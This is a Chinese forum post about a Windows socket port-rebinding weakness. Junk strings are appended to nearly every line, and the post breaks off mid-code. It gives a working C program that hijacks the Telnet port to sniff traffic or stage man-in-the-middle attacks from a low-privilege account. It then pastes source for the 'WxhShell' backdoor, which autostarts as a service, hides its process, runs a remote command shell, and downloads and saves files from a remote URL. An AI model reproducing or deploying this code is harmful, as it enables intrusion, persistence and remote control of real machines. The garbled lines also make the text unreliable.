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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '51DdT U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TCAtb('D  
8 1;QF_C  
  saddr.sin_family = AF_INET; 8z&7wO  
b e[KNrO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~_C[~-  
S#+Dfa`8X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O>e2MT|#k  
e(7F| G*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p%) 1(R8qM  
AF5.)Y@.  
  这意味着什么?意味着可以进行如下的攻击: \Z0-o&;w  
eqz#KN`n#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Mx<V;GPm  
c>+l3&`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .nCF`5T!  
7\*_/[B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V_pWf5F  
j:'sbU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g.-{=kZ   
QixEMX4<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _@I<H\^  
F9rxm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ssbvuTr  
v%O KOrJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4DY\QvW5  
((i%h^tGa;  
  #include +4G]!tV6  
  #include w?^qAj(*d  
  #include 6t9Q,+nJ  
  #include    %00KOM:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PveY8[i  
  int main() tr8a_CV  
  { e| x1Dq  
  WORD wVersionRequested; 1fBj21zG  
  DWORD ret;  pv<$ o  
  WSADATA wsaData; 2QwdDKMS_  
  BOOL val; O>]I!n`!!A  
  SOCKADDR_IN saddr; ETk4I "  
  SOCKADDR_IN scaddr; ?+-uF }  
  int err; nNNs3h(Ss  
  SOCKET s; <SeK3@Gi  
  SOCKET sc; =0,:w(Sb!  
  int caddsize; v'`VyXetl  
  HANDLE mt; )cnH %6X  
  DWORD tid;   2pR+2p`  
  wVersionRequested = MAKEWORD( 2, 2 ); `I|$U)'  
  err = WSAStartup( wVersionRequested, &wsaData ); (V2~txMh  
  if ( err != 0 ) { K=|x"6\  
  printf("error!WSAStartup failed!\n"); e1$T%?(&[  
  return -1; E.V#Bk=  
  } 7: 7i}`O  
  saddr.sin_family = AF_INET; bup)cX^  
   Db"jzMW.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _ ;baZ-  
O iRhp(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IC&>PwXb  
  saddr.sin_port = htons(23); (> O'^W\3p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P|,@En 1!  
  { 'Fi\Qk'D@  
  printf("error!socket failed!\n"); jWHv9XtW  
  return -1; ?.1yNO*s  
  } #- S%aeB  
  val = TRUE; ph*?y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JJ\|FZ N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ykFm$ 0m+I  
  { ]PWK^-4P  
  printf("error!setsockopt failed!\n"); )kLTyx2&  
  return -1; W Z'UVUi8  
  } v@_}R_pX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D@9adwQb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )+;Xfftz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W"j&':xD  
JC| j*x(k/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W&E?#=*X  
  { :x"Q[079  
  ret=GetLastError(); b CWSh~  
  printf("error!bind failed!\n"); -'SpSy'_  
  return -1; 38<!Dt+S(,  
  } xgsEJE  
  listen(s,2); fuRCM^U(  
  while(1) IM-O<T6r[N  
  { +OSF0#bj  
  caddsize = sizeof(scaddr); # .1+-^TQk  
  //接受连接请求 {8b6M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V~nqPh!Jc  
  if(sc!=INVALID_SOCKET) sfb)iH|sW  
  { "^/3?W>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U^aMh-  
  if(mt==NULL) 7p"4rL  
  { )1#J4  
  printf("Thread Creat Failed!\n"); -U&k%X   
  break; p6)Jzh_/  
  } ?K5S{qG'O  
  } v6uXik  
  CloseHandle(mt); Jz"Yb  
  } .%~m|t+Rt  
  closesocket(s); [PXv8K%]p  
  WSACleanup(); Uwj|To&QR  
  return 0; B?bdHO:E~  
  }   :SBB3G)|  
  DWORD WINAPI ClientThread(LPVOID lpParam) h = <x%sie  
  { ,x (?7ZW>  
  SOCKET ss = (SOCKET)lpParam; W(~7e?fO  
  SOCKET sc; C/34K(  
  unsigned char buf[4096]; . W ~&d_n  
  SOCKADDR_IN saddr; Z=c&</9e  
  long num; ),DLrGOl  
  DWORD val; ~`Uil=  
  DWORD ret; cp| q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2%!yV~Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =r1-M.*a.M  
  saddr.sin_family = AF_INET; xWC*DKV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |aD8  
  saddr.sin_port = htons(23); 5~,usA*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @Z}TF/Rx4  
  {  m$XMq  
  printf("error!socket failed!\n"); wk+| }s  
  return -1; 92F 9)S{"  
  } LH_VdLds  
  val = 100; &/+LY_r'<I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h*X5O h6  
  { fYxdG|>{u  
  ret = GetLastError(); TzSEQ S{  
  return -1; $[S)A0O  
  }  $I*<gn9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bd'io O  
  { ZovF]jf k  
  ret = GetLastError(); ?^} z  
  return -1; Ef)v("'w  
  } zWO!z =  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S {d]0  
  { (T65pP_P 7  
  printf("error!socket connect failed!\n"); ]a=n(`l?  
  closesocket(sc); lGhhH _  
  closesocket(ss); uO^,N**R#  
  return -1; 7T69tQZ<  
  } xj< K6  
  while(1) d?6\  
  { ?1afW)`a.v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ! (H RP9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vV PK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8T523VI  
  num = recv(ss,buf,4096,0); Z [Q jl*  
  if(num>0) /#Gm`BT  
  send(sc,buf,num,0); ]broU%#"  
  else if(num==0) r]3v.GZy  
  break; } q?*13iy(  
  num = recv(sc,buf,4096,0); };m.8(}$)  
  if(num>0) q9gk:Jt  
  send(ss,buf,num,0); ;;>G}pG  
  else if(num==0) PP{s&(  
  break; QHHj.ZY  
  } 3UgPVCT  
  closesocket(ss); ]^>RBegJBO  
  closesocket(sc);  =v!'?  
  return 0 ; 1lLXu  
  } D b&= N  
MwE^.6xl{  
,>3b|-C-  
========================================================== p!/ *(TT  
 [1Q:  
下边附上一个代码,,WXhSHELL bbG!Fg=qQ?  
bMGU9~CeJ  
========================================================== SdXAL  
9i`MUE1Sh  
#include "stdafx.h" cv7.=*Kb;  
gR 76g4|=;  
#include <stdio.h> 2{A/Fbk  
#include <string.h> |'QgL0?  
#include <windows.h> R<Uu(-O-  
#include <winsock2.h> p?,T%G+gqO  
#include <winsvc.h> M?v`C>j  
#include <urlmon.h> L"It0C  
9jJ:T$}  
#pragma comment (lib, "Ws2_32.lib") _edT+r>+  
#pragma comment (lib, "urlmon.lib") )U +Pt98"  
\E8CC>Jd  
#define MAX_USER   100 // 最大客户端连接数 8,&pX ga  
#define BUF_SOCK   200 // sock buffer F*_ytL  
#define KEY_BUFF   255 // 输入 buffer >jRH<|Az  
f^[u70c82  
#define REBOOT     0   // 重启 i:sb_U+M  
#define SHUTDOWN   1   // 关机 yv(\5)XF  
!{S HlS  
#define DEF_PORT   5000 // 监听端口 w=x [=O  
=SK{|fBB  
#define REG_LEN     16   // 注册表键长度 *kq>Z 06'i  
#define SVC_LEN     80   // NT服务名长度 &\5%C\0Z<  
A)HV#T`N  
// 从dll定义API ;@/vKA3l.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iu+rg(*%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D8=a+!l-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PS/00F/Ak  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  t@+z r3  
+8 }p-<a  
// wxhshell配置信息 9t"/@CH{  
struct WSCFG { NaC}KI`  
  int ws_port;         // 监听端口 yL"pzD`[H  
  char ws_passstr[REG_LEN]; // 口令 2 X`5YN;  
  int ws_autoins;       // 安装标记, 1=yes 0=no nD!5I@D  
  char ws_regname[REG_LEN]; // 注册表键名 te b/  
  char ws_svcname[REG_LEN]; // 服务名 =`f"8 ,5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WoD Qg64  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^ Iy'<J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !3Ed0h]Bfa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q/3 )yG6s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" - %`iLu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qg5-I$0  
q:3HU<  
}; u= ydX  
N6uKFQL:{  
// default Wxhshell configuration 4L/8Hj#g  
struct WSCFG wscfg={DEF_PORT, (E<QA  
    "xuhuanlingzhe", /u pDbP.O  
    1, h%!N!\  
    "Wxhshell", T]y^PT<8?  
    "Wxhshell", l>?k>NEpP  
            "WxhShell Service", 4qg] oiT  
    "Wrsky Windows CmdShell Service", ds<q"S {p  
    "Please Input Your Password: ", \"=b8x  
  1, k-|b{QZ8!;  
  "http://www.wrsky.com/wxhshell.exe", O_|p{65  
  "Wxhshell.exe" PJ'.s  
    }; BLcsIyq  
?vocI  
// 消息定义模块 )jm u*D5N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9p%8VDF=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pskg68W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H<C+ rAIb  
char *msg_ws_ext="\n\rExit."; nI<Ab_EB  
char *msg_ws_end="\n\rQuit."; |emZZj  
char *msg_ws_boot="\n\rReboot..."; FW,@.CX  
char *msg_ws_poff="\n\rShutdown..."; -:  8[  
char *msg_ws_down="\n\rSave to "; 3PRK.vf  
x L]Z3"p%  
char *msg_ws_err="\n\rErr!"; I;3Uzv  
char *msg_ws_ok="\n\rOK!"; [LrA_N  
L7 g4'  
char ExeFile[MAX_PATH]; U=>4=gsG  
int nUser = 0; Z*M-PaU}  
HANDLE handles[MAX_USER]; sI#r3:?i  
int OsIsNt; 8~eYN- #W&  
+i6XCN1=  
SERVICE_STATUS       serviceStatus; Q\{$&0McF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a!*K)x,"<  
i~;Yrc%AEX  
// 函数声明 <|c[ #f  
int Install(void); r^$WX@ t&  
int Uninstall(void); $ZfoJR]%  
int DownloadFile(char *sURL, SOCKET wsh); RMO6kbfP  
int Boot(int flag); hwB>@r2  
void HideProc(void); >TQnCG =  
int GetOsVer(void); &Ez]pKjB  
int Wxhshell(SOCKET wsl); D$PR<>=y  
void TalkWithClient(void *cs); 8VLD yX2-  
int CmdShell(SOCKET sock); .80L>0  
int StartFromService(void); 7) e#b  
int StartWxhshell(LPSTR lpCmdLine); rulw6vTB(  
<o.?T*Q9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hpq?I-g<^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i}}}x  
/6d:l>4  
// 数据结构和表定义 J<=k [Q  
SERVICE_TABLE_ENTRY DispatchTable[] = N77EM  
{ =EdLffU[J  
{wscfg.ws_svcname, NTServiceMain}, " H; i Av  
{NULL, NULL} A3c&VT6Q  
}; P},d`4Ty@  
d@0&  
// 自我安装 Ceco^Mw  
int Install(void) n;,>Fv  
{ z 8\;XR  
  char svExeFile[MAX_PATH]; h!UB#-  
  HKEY key; >Pw ZHY  
  strcpy(svExeFile,ExeFile); "8YXFg  
EABy<i  
// 如果是win9x系统,修改注册表设为自启动 Ij}k>qO/2  
if(!OsIsNt) { X'KkIo :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  f]JLFg7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DV">9{"5']  
  RegCloseKey(key); pu9ub.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @[(<oX%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gBCO>nJws  
  RegCloseKey(key); I]OVzM  
  return 0; -)2sR>`A%  
    } E ^<.;  
  } Z$&i"1{  
} |)\{Rufb  
else { 56Gc[<nR  
X9xXL%Q  
// 如果是NT以上系统,安装为系统服务 BV`,~n:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bcCCvV}6WZ  
if (schSCManager!=0) %HK\  
{ %.3] F2_Q  
  SC_HANDLE schService = CreateService &@anv.D  
  ( G,6Zy-Y9  
  schSCManager,  }FoO  
  wscfg.ws_svcname, ;zc,vs  
  wscfg.ws_svcdisp, ON~K(O2g(  
  SERVICE_ALL_ACCESS, gkN )`/`*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,F)9{ <r]  
  SERVICE_AUTO_START, t)hAD_sf  
  SERVICE_ERROR_NORMAL, :Kt'Fm,s?  
  svExeFile, hB:}0@l6p=  
  NULL, y8QJ=v* B  
  NULL, Z 71.*  
  NULL, %x G3z7;  
  NULL, :?.RZKXQF  
  NULL js#72T/_n  
  ); L&s|<<L  
  if (schService!=0) rS3* k3  
  { 6 s$jt-bH  
  CloseServiceHandle(schService); E0Neo _7  
  CloseServiceHandle(schSCManager); yDdi+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _~_E(rTn  
  strcat(svExeFile,wscfg.ws_svcname); `[*nUdG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yo$ xz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fqcFfz6?x  
  RegCloseKey(key); ]sf1+3  
  return 0; aHvsgp]  
    } 3.^Tm+ C  
  } ' 3MCb  
  CloseServiceHandle(schSCManager); +~~&FO2  
} m2o)/:  
} |`50Tf\J  
u^!c:RfE?  
return 1; 861!p%y5  
} _:Jra  
^`&?"yj<z  
// 自我卸载 Xob,jo}a  
int Uninstall(void) n,E =eNc  
{ |VPJaiC~  
  HKEY key; vS$_H<;P  
Mx<? c  
if(!OsIsNt) { KS6H`Mm}/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UD@u hL  
  RegDeleteValue(key,wscfg.ws_regname); c+^#(OB  
  RegCloseKey(key); _CDl9pP36#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @Pt,N qj:  
  RegDeleteValue(key,wscfg.ws_regname); =oPc\VYW  
  RegCloseKey(key); IV5B5Q'D  
  return 0; jbU=D:|  
  } >P/Nb]C  
} 1 ynjDin<  
} T1&^IO-F7$  
else { 3Wl,T5}{  
]$VYzE2e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uuA q\YZy/  
if (schSCManager!=0) ?t JyQT  
{ 2W_p)8t> b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DG!H8^  
  if (schService!=0) [z^db0PU  
  { v,] &[`  
  if(DeleteService(schService)!=0) { c-ahe;q  
  CloseServiceHandle(schService); A"`^A brm  
  CloseServiceHandle(schSCManager); |QI FtdU5T  
  return 0; C25r3bj  
  } { eU_  
  CloseServiceHandle(schService); B)bq@jM  
  } W=9Zl(2C  
  CloseServiceHandle(schSCManager); ]^j'2nJv0  
} \ tK{!v+  
} V*bX>D/  
Hik :Sqpox  
return 1; wLDWD,"K  
} Z?#_3h$"T  
1gTW*vLM\  
// 从指定url下载文件 ,>^6ztM  
int DownloadFile(char *sURL, SOCKET wsh) <r{M(yZ?@  
{ \VTNXEw*G  
  HRESULT hr; RKY~[IQ,  
char seps[]= "/"; 9EE},D  
char *token; P9\!JH!  
char *file; .K n)sD1  
char myURL[MAX_PATH]; D]s8w  
char myFILE[MAX_PATH]; x'.OLXx>  
z`^DQ8+\j  
strcpy(myURL,sURL); ?)ROQ1-#@  
  token=strtok(myURL,seps);  n]N+  
  while(token!=NULL) ;0R>Dg  
  { krw_1Mm  
    file=token; c:R`]4o  
  token=strtok(NULL,seps); Dj~]]  
  } Y~</vz+H  
Gxtb@`f  
GetCurrentDirectory(MAX_PATH,myFILE); I4%p?'i,C  
strcat(myFILE, "\\"); 7h3#5Y  
strcat(myFILE, file); *f?z$46  
  send(wsh,myFILE,strlen(myFILE),0); Gg\805L@  
send(wsh,"...",3,0); wQ4IQ!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9 NO^ '  
  if(hr==S_OK) !w!}`|q  
return 0; qOusO6  
else D?v)Xqw=  
return 1; Q bg,q  
$8{|25 *E  
} QEavbh^S  
@-~ )M_  
// 系统电源模块 Q UQ"2oC  
int Boot(int flag) m5G9 B-\?  
{ TJB) ]d<  
  HANDLE hToken; <HLe,  
  TOKEN_PRIVILEGES tkp; *6-fvqCv  
Zewx*Y|  
  if(OsIsNt) { hr+,-j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x}`]9XQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qm.30 2  
    tkp.PrivilegeCount = 1; +EmT+$>J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nj (/It  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }SdI _sLe  
if(flag==REBOOT) { g"60{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |HjoaN)  
  return 0; `ehZ(H}  
} -7^A_!.  
else { :%!}%fkxH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jAa{;p"jU  
  return 0; q*Hf%I"  
} Ag>E%N  
  } A?DgeSm  
  else { "w)Y0Qq*z  
if(flag==REBOOT) { `sS\8~A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uG|d7LS,%  
  return 0; ,+u.FQv~  
} =1JS6~CTLN  
else { t Z_ni}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sg.8Sd"]7  
  return 0; QW5S=7  
} t3#My2=  
} \k#|5W  
an4^(SY  
return 1; ,~R`@5+  
} BVKr 2v  
"5KJ /7q!  
// win9x进程隐藏模块 g1je':  
void HideProc(void)  t8 "*j t  
{ )YDuq(g&  
RG'Ft]l92N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yzvNv]Z'*  
  if ( hKernel != NULL ) `m~x*)L#  
  { _^)Wrf+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *Cdw"n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,&DK*LT8U  
    FreeLibrary(hKernel); .`iG} j)\  
  } ElAho3 W  
I^M %+\  
return; q(i^sE[y  
} P9Gjsu #  
&B^zu+J  
// 获取操作系统版本 yqy5i{Y  
int GetOsVer(void) )yV|vn  
{ 19Cs 3B\4  
  OSVERSIONINFO winfo; (RDY-~#~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B8jSdlvz  
  GetVersionEx(&winfo); N=>6PLie  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &=1A g}l57  
  return 1; qk;vn}auD]  
  else -8L 22t  
  return 0; x[mxp/ /P  
} I9! eL4e  
K3jPTAw=#  
// 客户端句柄模块 c+6/@y  
int Wxhshell(SOCKET wsl) WjyuaAWY  
{ E%eTjvvxus  
  SOCKET wsh; [79 eq=  
  struct sockaddr_in client; (,5oqU9s@  
  DWORD myID; O'6zV"<P  
p.r \|  
  while(nUser<MAX_USER) Zz"b&`K  
{ 7}r!&Eb  
  int nSize=sizeof(client); TZ`@pDi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vv2N;/;I  
  if(wsh==INVALID_SOCKET) return 1; y_^w|  
_RLx;Tn)L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HF9\SVR B  
if(handles[nUser]==0) vybQ}dscn  
  closesocket(wsh); yIm@m[B;  
else O/X;(qYd  
  nUser++; ? m$uqi  
  } |-WoR u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dDuT,zP  
M18H1e@Al  
  return 0; "(@W^qF}d  
} zW`Zmt\T2  
U($sH9,  
// 关闭 socket hK!Z ~  
void CloseIt(SOCKET wsh) :$bp4+3>  
{ | HkLl^  
closesocket(wsh); M*DFtp<  
nUser--; x=+R0ny  
ExitThread(0); a,o>E4#c  
} |4UU`J9M  
<@B zF0  
// 客户端请求句柄 "[`.I*WNo  
void TalkWithClient(void *cs) 'C l}IDF  
{ rAc Yt9M#  
sU {'  
  SOCKET wsh=(SOCKET)cs; %5N;SRtv  
  char pwd[SVC_LEN]; @WppiZ$  
  char cmd[KEY_BUFF]; R&z)  
char chr[1]; qz|`\^  
int i,j; )+^1QL  
q<Zdf  
  while (nUser < MAX_USER) { ;5wmQFr  
`w_?9^7mH  
if(wscfg.ws_passstr) { 4T*RJ3Fz!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y-UutI&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r ]XXN2[jO  
  //ZeroMemory(pwd,KEY_BUFF); 5e!YYt>  
      i=0; @ljvTgZ(X  
  while(i<SVC_LEN) { oDyrf"dl  
0nkon3H  
  // 设置超时 -rU~  
  fd_set FdRead; 2gn*B$a  
  struct timeval TimeOut; n-h2SQl!  
  FD_ZERO(&FdRead); Nhh2P4gH  
  FD_SET(wsh,&FdRead); dcFqK~  
  TimeOut.tv_sec=8; V}1D1.@  
  TimeOut.tv_usec=0; F^5<o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VS$ZR'OP0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O|#N$a&_N  
t@GPB]3[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A#s`!SNv  
  pwd=chr[0]; x\=2D<@az  
  if(chr[0]==0xd || chr[0]==0xa) { yOn +Y  
  pwd=0;  `O-LM e  
  break; F{1;~Yg%  
  }  P]bq9!{1  
  i++; V\ ud4  
    } O[p;IG`  
Evz;eobW/  
  // 如果是非法用户,关闭 socket JHY0 J &4s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E$z)$`"1  
} 0> pOP  
Cdjh/+!f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fvajNP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !/4f/g4Ze  
?Rc+H;x=f  
while(1) { Nw'3gJ:  
NO4V{}?a  
  ZeroMemory(cmd,KEY_BUFF); {VC4rA  
&9CKI/K:  
      // 自动支持客户端 telnet标准   F+;{s(wx  
  j=0; o C]tEXJ  
  while(j<KEY_BUFF) { c65_E<5Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 20hF2V  
  cmd[j]=chr[0]; sSLs%)e|:  
  if(chr[0]==0xa || chr[0]==0xd) { c5uT'P"  
  cmd[j]=0; {}?;|&_  
  break; 0A%>'<  
  } Gt&x<  
  j++; aqvt$u8  
    } >3H/~ Y  
myT z  
  // 下载文件 NI eKS_ +  
  if(strstr(cmd,"http://")) { !HA[:-JCz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |>( @n{  
  if(DownloadFile(cmd,wsh)) I*e8 5wef  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G Q&9b_  
  else r`]&{0}23  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K 7)1wiEj  
  } 0G/VbS  
  else { _(J7^rN  
{mPalo A  
    switch(cmd[0]) { }?,Gn]]  
  I At;?4  
  // 帮助 ?^i$} .%W  
  case '?': { g-=)RIwm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a a<9%j  
    break; ~Mv@Bl  
  } 6KiI3%y?0  
  // 安装 Xtqjx@ye  
  case 'i': { L&1VPli  
    if(Install()) (~/VP3.S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NiU}A$U  
    else _S:6;_bz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gWp\?La  
    break; z`-?5-a]I  
    } X{rw+!  
  // 卸载 q!#e2Dx  
  case 'r': { vjG: 1|*e  
    if(Uninstall()) Sf>R7.lpP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?PNG@OK  
    else !Gu,X'#Ab  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u49zc9  
    break; tE0DST/  
    } &x{CC@g/  
  // 显示 wxhshell 所在路径 nu,#y"WQ  
  case 'p': { qO=_i d  
    char svExeFile[MAX_PATH]; #5GIO  
    strcpy(svExeFile,"\n\r"); (: IUg   
      strcat(svExeFile,ExeFile); YmM+x=G:  
        send(wsh,svExeFile,strlen(svExeFile),0); VOBzB]  
    break; u7>b}+ak&  
    } nAn/Vu  
  // 重启 7s_#X|A$  
  case 'b': { P  F!S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r]eeKV,{p  
    if(Boot(REBOOT)) ;aBK4<-vl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OKfJ  
    else { 4C^;lK  
    closesocket(wsh); P"0S94o:5J  
    ExitThread(0); V,bfD3S3  
    } '~i} 2e.  
    break; wZVY h  
    } P0J3ci}^  
  // 关机 HlqvXt\  
  case 'd': { Ktg{-Xl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I0 a,mO;m  
    if(Boot(SHUTDOWN)) v8"plx=3  
